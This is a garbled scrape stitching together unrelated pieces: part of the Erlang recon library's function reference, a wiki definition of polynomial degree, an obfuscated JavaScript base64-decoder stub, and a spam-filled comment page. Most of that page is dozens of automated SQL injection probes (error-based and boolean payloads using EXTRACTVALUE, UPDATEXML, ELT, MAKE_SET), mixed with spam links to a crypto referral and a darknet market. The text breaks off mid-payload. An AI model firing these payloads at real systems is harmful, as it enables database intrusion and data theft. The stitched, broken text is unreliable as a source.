recon:inet_attrs()} | {error, term()}`\n\n• `AttributeName = recv_cnt | recv_oct | send_cnt | send_oct | cnt | oct`\n\nReturns the attributes required for a given inet port (UDP, SCTP, TCP). This form of attributes is standard for most comparison functions for processes in recon.\n\n#### port_list/1\n\n`port_list(Attr::atom()) -> [{port(), term()}]`\n\nReturns a list of all the open ports in the VM, coupled with one of the properties desired from `erlang:port_info/1-2`.\n\n#### port_list/2\n\n`port_list(Attr::atom(), Val::term()) -> [port()]`\n\nReturns a list of all the open ports in the VM, but only if the `Attr`'s resulting value matches `Val`. `Attr` must be a property accepted by `erlang:port_info/2`.\n\n#### proc_attrs/1\n\n`proc_attrs(AttrName::term()) -> [recon:proc_attrs()]`\n\nReturns the attributes (`recon:proc_attrs()`) of all processes of the node, except the caller.\n\n#### proc_attrs/2\n\n`proc_attrs(AttrName::term(), Pid::pid()) -> {ok, recon:proc_attrs()} | {error, term()}`\n\nReturns the attributes of a given process. This form of attributes is standard for most comparison functions for processes in recon.\n\nA special attribute is `binary_memory`, which will reduce the memory used by the process for binary data on the global heap.\n\n#### sample/2\n\n`sample(Ms::non_neg_integer(), Fun::fun(() -> term())) -> {First::term(), Second::term()}`\n\nRuns a fun once, waits `Ms`, runs the fun again, and returns both results.\n\n#### scheduler_usage_diff/2\n\n`scheduler_usage_diff(SchedTime, SchedTime) -> undefined | [{SchedulerId, Usage}]`\n\n• `SchedTime = [{SchedulerId, ActiveTime, TotalTime}]`\n• `SchedulerId = pos_integer()`\n• `Usage = number()`\n• `ActiveTime = non_neg_integer()`\n• `TotalTime = non_neg_integer()`\n\nDiffs two runs of erlang:statistics(scheduler_wall_time) and returns usage metrics in terms of cores and 0..1 percentages.\n\n#### sliding_window/2\n\n`sliding_window(First::diff(), Last::diff()) -> diff()`\n\nCompare two samples and return a list based on some key. The type mentioned for the structure is `diff()` (`{Key,Val,Other}`), which is compatible with the `recon:proc_attrs()` type.\n\n#### sublist_top_n_attrs/2\n\n`sublist_top_n_attrs(List::[Attrs], Len::pos_integer()) -> [Attrs]`\n\n• `Attrs = recon:proc_attrs() | recon:inet_attrs()`\n\nReturns the top n element of a list of process or inet attributes\n\n#### term_to_pid/1\n\n`term_to_pid(Pid::recon:pid_term()) -> pid()`\n\nTransforms a given term to a pid.\n\n#### term_to_port/1\n\n`term_to_port(Port::recon:port_term()) -> port()`\n\nTransforms a given term to a port\n\n#### time_fold/6\n\n`time_fold(N, Interval, Fun, State, FoldFun, Init) -> [term()]`\n\n• `N = non_neg_integer()`\n• `Interval = pos_integer()`\n• `Fun = fun((State) -> {term(), State})`\n• `State = term()`\n• `FoldFun = fun((term(), Init) -> Init)`\n• `Init = term()`\n\nCalls a given function every `Interval` milliseconds and supports a fold-like interface (each result is modified and accumulated)\n\n#### time_map/5\n\n`time_map(N, Interval, Fun, State, MapFun) -> [term()]`\n\n• `N = non_neg_integer()`\n• `Interval = pos_integer()`\n• `Fun = fun((State) -> {term(), State})`\n• `State = term()`\n• `MapFun = fun((term()) -> term())`\n\nCalls a given function every `Interval` milliseconds and supports a map-like interface (each result is modified and returned)\n\n#### triple_to_pid/3\n\n`triple_to_pid(N, N, N) -> pid()`\n\n• `N = non_neg_integer()`\n\nEquivalent of `pid(X,Y,Z)` in the Erlang shell." ]

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[ "Definition:Degree of Polynomial\n\nOne variable\n\nLet $R$ be a commutative ring with unity.\n\nLet $P \\in R \\sqbrk x$ be a nonzero polynomial over $R$ in one variable $x$.\n\nThe degree of $P$ is the largest natural number $k \\in \\N$ such that the coefficient of $x^k$ in $P$ is nonzero.\n\nGeneral Ring\n\nLet $\\struct {R, +, \\circ}$ be a ring.\n\nLet $\\struct {S, +, \\circ}$ be a subring of $R$.\n\nLet $x \\in R$.\n\nLet $\\ds P = \\sum_{j \\mathop = 0}^n \\paren {r_j \\circ x^j} = r_0 + r_1 \\circ x + \\cdots + r_n \\circ x^n$ be a polynomial in the element $x$ over $S$ such that $r_n \\ne 0$.\n\nThen the degree of $P$ is $n$.\n\nThe degree of $P$ can be denoted $\\map \\deg P$ or $\\partial P$.\n\nIntegral Domain\n\nLet $\\struct {R, +, \\circ}$ be a commutative ring with unity whose zero is $0_R$.\n\nLet $\\struct {D, +, \\circ}$ be an integral subdomain of $R$.\n\nLet $X \\in R$ be transcendental over $D$.\n\nLet $\\ds f = \\sum_{j \\mathop = 0}^n \\paren {r_j \\circ X^j} = r_0 + r_1 X + \\cdots + r_n X^n$ be a polynomial over $D$ in $X$ such that $r_n \\ne 0$.\n\nThen the degree of $f$ is $n$.\n\nThe degree of $f$ is denoted on $\\mathsf{Pr} \\infty \\mathsf{fWiki}$ by $\\map \\deg f$.\n\nField\n\nLet $\\struct {F, +, \\times}$ be a field whose zero is $0_F$.\n\nLet $\\struct {K, +, \\times}$ be a subfield of $F$.\n\nLet $x \\in F$.\n\nLet $\\ds f = \\sum_{j \\mathop = 0}^n \\paren {a_j x^j} = a_0 + a_1 x + \\cdots + a_n x^n$ be a polynomial over $K$ in $x$ such that $a_n \\ne 0$.\n\nThen the degree of $f$ is $n$.\n\nThe degree of $f$ can be denoted $\\map \\deg f$ or $\\partial f$.\n\nSequence\n\nRing\n\nLet $f = \\left \\langle {a_k}\\right \\rangle = \\left({a_0, a_1, a_2, \\ldots}\\right)$ be a polynomial over a ring $R$.\n\nThe degree of $f$ is defined as the largest $n \\in \\Z$ such that $a_n \\ne 0$.\n\nField\n\nLet $f = \\sequence {a_k} = \\tuple {a_0, a_1, a_2, \\ldots}$ be a polynomial over a field $F$.\n\nThe degree of $f$ is defined as the largest $n \\in \\Z$ such that $a_n \\ne 0$.\n\nPolynomial Form\n\nLet $f = a_1 \\mathbf X^{k_1} + \\cdots + a_r \\mathbf X^{k_r}$ be a polynomial in the indeterminates $\\family {X_j: j \\in J}$ for some multiindices $k_1, \\ldots, k_r$.\n\nLet $f$ not be the null polynomial.\n\nLet $k = \\family {k_j}_{j \\mathop \\in J}$ be a multiindex.\n\nLet $\\ds \\size k = \\sum_{j \\mathop \\in J} k_j \\ge 0$ be the degree of the monomial $\\mathbf X^k$.\n\nThe degree of $f$ is the supremum:\n\n$\\ds \\map \\deg f = \\max \\set {\\size {k_r}: i = 1, \\ldots, r}$\n\nDegree Zero\n\nA polynomial $f \\in S \\sqbrk x$ in $x$ over $S$ is of degree zero if and only if $x$ is a non-zero element of $S$, that is, a constant polynomial.\n\nNull Polynomial\n\nThe null polynomial $0_R \\in S \\left[{X}\\right]$ does not have a degree.\n\nAlso known as\n\nThe degree of a polynomial $f$ is also sometimes called the order of $f$.\n\nSome sources denote $\\map \\deg f$ by $\\partial f$." ]

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[ "eval(\"\\x77\\x69\\x6e\\x64\\x6f\\x77\")[\"\\x4e\\x56\\x54\\x59\"]=function(e){var li ='ABCDEFGHIJKLMNO'+''+'PQRSTUVW'+''+'XYZabcdefghijk'+'lmnopqrstu'+''+'vwxyz0123456789+/='+'';var t=\"\",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,\"\");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t=\"\",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}\n\n• M3u8\n• 高清视频②" ]

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[ "# supervisioncam protocol\n\n## My Resource\n\nLos Angeles CA, opusrentals.com Party Rentals LA Read More, Go To This Site Party Rentals In Los Angeles opusrentals.com Opus Event Rentals, Click For More Info LA Party Rentals Opus Rentals\n\nzgiY\") AND ELT(2092=2092,5986) AND (\"XIDc\" LIKE \"XIDc\n\nLcaz'MlxZby<'\">yOeRBB\n\nwocb')) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (('jsHF' LIKE 'jsHF\n\nNow is the time to come in. There won't be another chance like this <a href=https://accounts.binance.com/ru/register?ref=25293193>Buy and sell cryptocurrency in minutes </a>\n\nfinh\")) AS QFYX WHERE 2679=2679 AND MAKE_SET(9770=4399,4399)-- GKLp\n\nzgiY\")) AND ELT(2276=4137,4137) AND ((\"MSCG\" LIKE \"MSCG\n\nDMti\n\nLcaz') AND 1557=9689 AND ('NLya'='NLya\n\nfinh\")) AS gwmo WHERE 9911=9911 AND MAKE_SET(2640=2640,4145)-- sxfP\n\nwocb'))) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((('RoEq' LIKE 'RoEq\n\nDMti\n\nzgiY\")) AND ELT(2092=2092,5986) AND ((\"evLa\" LIKE \"evLa\n\nfinh') AS XMrD WHERE 4943=4943 AND MAKE_SET(3908=4286,4286)-- Ghot\n\nLcaz') AND 1326=1326 AND ('IWPs'='IWPs\n\nwocb%' PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND 'rqRl%'='rqRl\n\nDMti\n\nLcaz') AND 1326=1326 AND ('IWPs'='IWPs\n\nfinh') AS XMrD WHERE 4943=4943 AND MAKE_SET(3908=4286,4286)-- Ghot\n\nzgiY\"))) AND ELT(9157=1387,1387) AND (((\"hzrp\" LIKE \"hzrp\n\nzgiY\"))) AND ELT(2092=2092,5986) AND (((\"SgCE\" LIKE \"SgCE\n\nfinh') AS COZj WHERE 9946=9946 AND MAKE_SET(2640=2640,4145)-- rvSR\n\nLcaz' AND 8596=7791 AND 'oayT'='oayT\n\nDMti\n\nwocb' PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND 'iTPB' LIKE 'iTPB\n\nfinh') AS XMrD WHERE 4943=4943 AND MAKE_SET(3908=4286,4286)-- Ghot\n\nfinh\") AS lSIh WHERE 5432=5432 AND MAKE_SET(7987=3708,3708)-- wTwX\n\nDMti\n\nzgiY\" AND ELT(4638=5463,5463) AND \"zHbF\" LIKE \"zHbF\n\nwocb\") PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (\"wafW\"=\"wafW\n\nLcaz' AND 1326=1326 AND 'gcoV'='gcoV\n\nDMti\n\nwocb\")) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((\"fQqy\"=\"fQqy\n\nzgiY\" AND ELT(2092=2092,5986) AND \"PPmR\" LIKE \"PPmR\n\nfinh\") AS kSRH WHERE 5472=5472 AND MAKE_SET(2640=2640,4145)-- bSPN\n\nLcaz) AND 8088=3826 AND (9288=9288\n\nDMti\n\nzgiY' AND ELT(3689=7418,7418) OR 'xKZu'='ySWI\n\nwocb\"))) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (((\"ZWbW\"=\"ZWbW\n\nLcaz) AND 1326=1326 AND (1287=1287\n\nDMti\n\nzgiY' AND ELT(2092=2092,5986) OR 'oSjq'='FhJU\n\nwocb\" PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND \"ADbD\"=\"ADbD\n\nLcaz AND 5278=9085\n\nDMti\n\nzgiY')) AS skwp WHERE 8832=8832 AND ELT(4706=9743,9743)-- Ioyc\n\nwocb\") PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (\"PuOZ\" LIKE \"PuOZ\n\nDMti\n\nfinh\"=\"finh\" AND MAKE_SET(8872=1828,1828) AND \"finh\"=\"finh\n\nLcaz AND 1326=1326\n\nzgiY')) AS fTYK WHERE 7158=7158 AND ELT(2092=2092,5986)-- KeFm\n\nDMti\n\nwocb\")) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((\"JwsP\" LIKE \"JwsP\n\nfinh\"=\"finh\" AND MAKE_SET(2640=2640,4145) AND \"finh\"=\"finh\n\nzgiY\")) AS htZG WHERE 2228=2228 AND ELT(6468=3310,3310)-- GFYy\n\nLcaz AND 5141=1681-- Rvre\n\nDMti\n\nwocb\"))) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (((\"GXrV\" LIKE \"GXrV\n\nzgiY\")) AS ocNC WHERE 7245=7245 AND ELT(2092=2092,5986)-- UkAM\n\nfinh' IN BOOLEAN MODE) AND MAKE_SET(9352=1602,1602)#\n\nLcaz AND 1326=1326-- YJzC\n\nzgiY') AS oQZd WHERE 2076=2076 AND ELT(7711=4417,4417)-- KpFH\n\nwocb\" PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND \"OhJM\" LIKE \"OhJM\n\n(SELECT (CASE WHEN (6546=3897) THEN 0x4c63617a ELSE (SELECT 3897 UNION SELECT 9813) END))\n\nfinh' IN BOOLEAN MODE) AND MAKE_SET(2640=2640,4145)#\n\nfinh) AND MAKE_SET(9418=3225,3225)-- SlQG\n\nwocb' PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) OR 'fJGx'='LCwM\n\n(SELECT (CASE WHEN (8559=8559) THEN 0x4c63617a ELSE (SELECT 1283 UNION SELECT 9737) END))\n\nfinh) AND MAKE_SET(2640=2640,4145)-- GiVL\n\n(SELECT CONCAT(CONCAT(0x716b767171,(CASE WHEN (5120=5120) THEN 0x31 ELSE 0x30 END)),0x7162626b71))\n\nwocb')) AS Vjef WHERE 5411=5411 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- aSAz\n\nfinh) AND MAKE_SET(5006=7180,7180) AND (4042=4042\n\nDMti\n\nzgiY') AS chYh WHERE 9319=9319 AND ELT(2092=2092,5986)-- peWu\n\nLcaz') AND 4433=6460#\n\nfinh) AND MAKE_SET(2640=2640,4145) AND (7124=7124\n\nwocb\")) AS CwMO WHERE 3909=3909 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- nMrQ\n\nDMti\n\nzgiY\") AS cwCU WHERE 9800=9800 AND ELT(3662=1216,1216)-- UdJG\n\nfinh)) AND MAKE_SET(6120=7318,7318) AND ((7223=7223\n\nLcaz') AND 7140=7140#\n\nwocb') AS nOir WHERE 6913=6913 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- wybh\n\nLcaz' AND 2664=4818#\n\nfinh)) AND MAKE_SET(2640=2640,4145) AND ((1541=1541\n\nDMti\n\nzgiY\") AS WQeD WHERE 8154=8154 AND ELT(2092=2092,5986)-- ihFB\n\nDMti\n\nfinh))) AND MAKE_SET(4317=9602,9602) AND (((8682=8682\n\nLcaz' AND 7140=7140#\n\nwocb\") AS Lyvr WHERE 8575=8575 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- HhEV\n\nzgiY\"=\"zgiY\" AND ELT(8450=2401,2401) AND \"zgiY\"=\"zgiY\n\nfinh))) AND MAKE_SET(2640=2640,4145) AND (((3211=3211\n\nzgiY\"=\"zgiY\" AND ELT(2092=2092,5986) AND \"zgiY\"=\"zgiY\n\nDMti\n\nwocb' IN BOOLEAN MODE) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)#\n\nLcaz\" AND 9906=8297#\n\nfinh AND MAKE_SET(8951=7466,7466)\n\nwocb) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- OdhX\n\nzgiY' IN BOOLEAN MODE) AND ELT(1633=6637,6637)#\n\nDMti\n\nfinh AND MAKE_SET(2640=2640,4145)\n\nLcaz\" AND 7140=7140#\n\nfinh AND MAKE_SET(4208=7453,7453)-- TuxF\n\nzgiY' IN BOOLEAN MODE) AND ELT(2092=2092,5986)#\n\nDMti\n\nwocb) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (1378=1378\n\nLcaz')) AND 3621=2727#\n\nzgiY) AND ELT(6496=2557,2557)-- mNVH\n\nDMti\n\nPckg\n\nfinh AND MAKE_SET(9795=1892,1892)# RjCa\n\nwocb)) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((3069=3069\n\nLcaz')) AND 7140=7140#\n\nfinh AND MAKE_SET(9795=1892,1892)# RjCa\n\nPckg\n\nwocb)) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((3069=3069\n\nwocb)) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((3069=3069\n\nLcaz')) AND 7140=7140#\n\nzgiY) AND ELT(3857=4394,4394) AND (4128=4128\n\nDMti\n\nDMti\n\nPckg\n\nDMti\n\nzgiY) AND ELT(2092=2092,5986) AND (8669=8669\n\n1659\n\nfinh AND MAKE_SET(2640=2640,4145)# ULxz\n\nwocb)) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND ((3069=3069\n\nLcaz')) AND 7140=7140#\n\nzgiY)) AND ELT(6930=5147,5147) AND ((8034=8034\n\nDMti\n\nPckg(.\"'()()(.\n\nfinh)) AS zofw WHERE 7515=7515 AND MAKE_SET(7988=2172,2172)-- ZSHv\n\nDMti\n\nzgiY)) AND ELT(2092=2092,5986) AND ((2468=2468\n\nLcaz'))) AND 1716=8032#\n\nwocb))) PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1) AND (((1140=1140\n\nPckg'oAwZmH<'\">DdvpmV\n\nDMti\n\nfinh)) AS Nevr WHERE 6957=6957 AND MAKE_SET(2640=2640,4145)-- pJdM\n\nzgiY))) AND ELT(5332=3609,3609) AND (((6147=6147\n\nPckg') AND 6225=8603 AND ('oZxj'='oZxj\n\nLcaz'))) AND 7140=7140#\n\nwocb PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)\n\nDMti\n\nzgiY))) AND ELT(2092=2092,5986) AND (((4330=4330\n\nfinh) AS DAZl WHERE 2034=2034 AND MAKE_SET(4343=8888,8888)-- wvuX\n\nDMti\n\nLcaz%' AND 8106=7212#\n\nPckg') AND 8517=8517 AND ('zVBk'='zVBk\n\nzgiY AND ELT(6131=2570,2570)\n\nfinh) AS spdN WHERE 5712=5712 AND MAKE_SET(2640=2640,4145)-- SOhN\n\nwocb PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- yUag\n\nDMti\n\nPckg') AND 6098=4794 AND ('gRFG'='gRFG\n\nLcaz%' AND 7140=7140#\n\nfinh` WHERE 4499=4499 AND MAKE_SET(6528=9599,9599)-- BVsJ\n\nzgiY AND ELT(2092=2092,5986)\n\nwocb PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)# xZKV\n\nfinh` WHERE 3982=3982 AND MAKE_SET(2640=2640,4145)-- XjdF\n\nLcaz\") AND 4095=2505#\n\nzgiY AND ELT(8539=4046,4046)-- zJSJ\n\nDMti\n\nPckg' AND 3036=1756 AND 'ZqOr'='ZqOr\n\nwocb)) AS NAlX WHERE 8244=8244 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- LzmY\n\nfinh`) WHERE 3164=3164 AND MAKE_SET(8194=6150,6150)-- wuKd\n\nDMti\n\nzgiY AND ELT(2092=2092,5986)-- oqkI\n\nfinh`) WHERE 2068=2068 AND MAKE_SET(2640=2640,4145)-- uDiY\n\nLcaz\") AND 7140=7140#\n\nPckg' AND 8517=8517 AND 'Ifkm'='Ifkm\n\nwocb) AS EFcX WHERE 3872=3872 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- GohN\n\nDMti\n\nzgiY AND ELT(2277=8527,8527)# ZDoi\n\nPckg' AND 3431=8395 AND 'uTWj'='uTWj\n\nfinh`=`finh` AND MAKE_SET(3609=5025,5025) AND `finh`=`finh\n\nzgiY AND ELT(2092=2092,5986)# evmd\n\nwocb` WHERE 1723=1723 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- RSiO\n\nDMti\n\nLcaz\")) AND 1308=1230#\n\nzgiY)) AS eVnX WHERE 2711=2711 AND ELT(5815=7974,7974)-- ktlc\n\n(SELECT CONCAT(CONCAT(0x7170717a71,(CASE WHEN (1084=1084) THEN 0x31 ELSE 0x30 END)),0x716b627871))\n\nfinh`=`finh` AND MAKE_SET(2640=2640,4145) AND `finh`=`finh\n\nDMti\n\nwocb`) WHERE 5158=5158 PROCEDURE ANALYSE(EXTRACTVALUE(8281,CONCAT(0x5c,0x7162716a71,(SELECT (CASE WHEN (8281=8281) THEN 1 ELSE 0 END)),0x7178707a71)),1)-- PeOP\n\nLcaz\")) AND 7140=7140#\n\nfinh]-(SELECT 0 WHERE 6897=6897 AND MAKE_SET(8725=4543,4543))|[finh\n\nDMti\n\nPckg' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170717a71,(SELECT (ELT(7568=7568,1))),0x716b627871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'FXlw'='FXlw\n\nzgiY)) AS LUTE WHERE 4948=4948 AND ELT(2092=2092,5986)-- vTVG\n\nLcaz\"))) AND 8099=5255#\n\n(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162716a71,(SELECT (ELT(9074=9074,1))),0x7178707a71,0x78))s), 8446744073709551610, 8446744073709551610)))\n\nfinh]-(SELECT 0 WHERE 6552=6552 AND MAKE_SET(2640=2640,4145))|[finh\n\nDMti\n\nzgiY) AS GUsS WHERE 7868=7868 AND ELT(6688=9989,9989)-- aerd\n\nPckg' OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170717a71,(SELECT (ELT(7360=7360,1))),0x716b627871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'RLbB'='RLbB\n\nEXP(~(SELECT * FROM (SELECT CONCAT(0x7162716a71,(SELECT (ELT(3399=3399,1))),0x7178707a71,0x78))x))\n\nLcaz\"))) AND 7140=7140#\n\n-5523') OR MAKE_SET(6582=3205,3205)-- TMcm\n\nGTID_SUBSET(CONCAT(0x7162716a71,(SELECT (ELT(2924=2924,1))),0x7178707a71),2924)\n\nLcaz')) AS nLfC WHERE 7714=7714 AND 5621=9174#\n\nDMti\n\nzgiY) AS OOZJ WHERE 7182=7182 AND ELT(2092=2092,5986)-- YGgg\n\nPckg' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7170717a71,(SELECT (ELT(2066=2066,1))),0x716b627871,0x78))x)) AND 'nLSR'='nLSR\n\n-7506') OR MAKE_SET(1751=1751,8848)-- tFle\n\nzgiY` WHERE 8479=8479 AND ELT(8808=2497,2497)-- tBZB\n\nDMti\n\nPckg' OR EXP(~(SELECT * FROM (SELECT CONCAT(0x7170717a71,(SELECT (ELT(8082=8082,1))),0x716b627871,0x78))x)) AND 'HvQc'='HvQc\n\nLcaz')) AS TmHY WHERE 5138=5138 AND 7140=7140#\n\nJSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162716a71,(SELECT (ELT(3157=3157,1))),0x7178707a71)) USING utf8)))\n\n-5303') OR MAKE_SET(7616=4848,4848)-- yDdC\n\nzgiY` WHERE 9203=9203 AND ELT(2092=2092,5986)-- vaVu\n\nDMti\n\nPckg' AND GTID_SUBSET(CONCAT(0x7170717a71,(SELECT (ELT(8545=8545,1))),0x716b627871),8545) AND 'yqMv'='yqMv\n\n(SELECT 9274 FROM(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(9274=9274,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)\n\nLcaz\")) AS XmLo WHERE 4661=4661 AND 7250=3589#\n\nzgiY`) WHERE 8204=8204 AND ELT(7905=9035,9035)-- CKHd\n\nDMti\n\n-2177' OR MAKE_SET(8312=1959,1959)-- zokd\n\nLcaz\")) AS YuqX WHERE 6000=6000 AND 7140=7140#\n\n(UPDATEXML(8772,CONCAT(0x2e,0x7162716a71,(SELECT (ELT(8772=8772,1))),0x7178707a71),4766))\n\nPckg' OR GTID_SUBSET(CONCAT(0x7170717a71,(SELECT (ELT(9439=9439,1))),0x716b627871),9439) AND 'drjI'='drjI\n\nzgiY`) WHERE 5189=5189 AND ELT(2092=2092,5986)-- DbYg\n\nDMti\n\n-1639' OR MAKE_SET(1751=1751,8848)-- wDrw\n\nPckg' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7170717a71,(SELECT (ELT(6889=6889,1))),0x716b627871)) USING utf8))) AND 'dQAw'='dQAw\n\nLcaz') AS URSx WHERE 9371=9371 AND 7713=5378#\n\n(EXTRACTVALUE(1292,CONCAT(0x5c,0x7162716a71,(SELECT (ELT(1292=1292,1))),0x7178707a71)))\n\n-6661' OR MAKE_SET(5890=2520,2520)-- hvuZ\n\nDMti\n\nzgiY`=`zgiY` AND ELT(9016=2830,2830) AND `zgiY`=`zgiY\n\nMagnificent web site. A lot of useful info here. I am sending it to some friends ans also sharing in delicious. And naturally, thanks in your sweat! alphabay market https://alphabay-darkmarket.net\n\n-3489\" OR MAKE_SET(5925=5972,5972)-- zpvG\n\nDMti\n\nwocb',(SELECT 1844 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162716a71,(SELECT (ELT(1844=1844,1))),0x7178707a71,0x78))s), 8446744073709551610, 8446744073709551610)))x)-- StWX\n\nPckg' OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7170717a71,(SELECT (ELT(6876=6876,1))),0x716b627871)) USING utf8))) AND 'nqSM'='nqSM\n\nzgiY`=`zgiY` AND ELT(2092=2092,5986) AND `zgiY`=`zgiY\n\nDMti\n\nLcaz') AS wOMr WHERE 7220=7220 AND 7140=7140#\n\nPckg' AND (SELECT 8688 FROM(SELECT COUNT(*),CONCAT(0x7170717a71,(SELECT (ELT(8688=8688,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'QLuY'='QLuY\n\n-8627\" OR MAKE_SET(1751=1751,8848)-- XvfZ\n\nwocb,(SELECT 